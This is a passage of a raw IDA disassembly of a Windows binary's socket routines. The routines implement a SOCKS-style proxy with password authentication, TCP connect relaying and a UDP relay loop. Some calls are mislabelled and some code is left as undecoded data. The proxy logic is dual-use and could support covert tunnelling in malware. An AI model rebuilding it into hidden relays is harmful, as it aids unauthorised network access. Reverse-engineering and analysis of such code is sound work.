		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		call	near ptr 71AB2D0Fh
		nop
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 7BE85600h
		dd 90716899h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445330
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445328
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3C8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3C8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3C8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

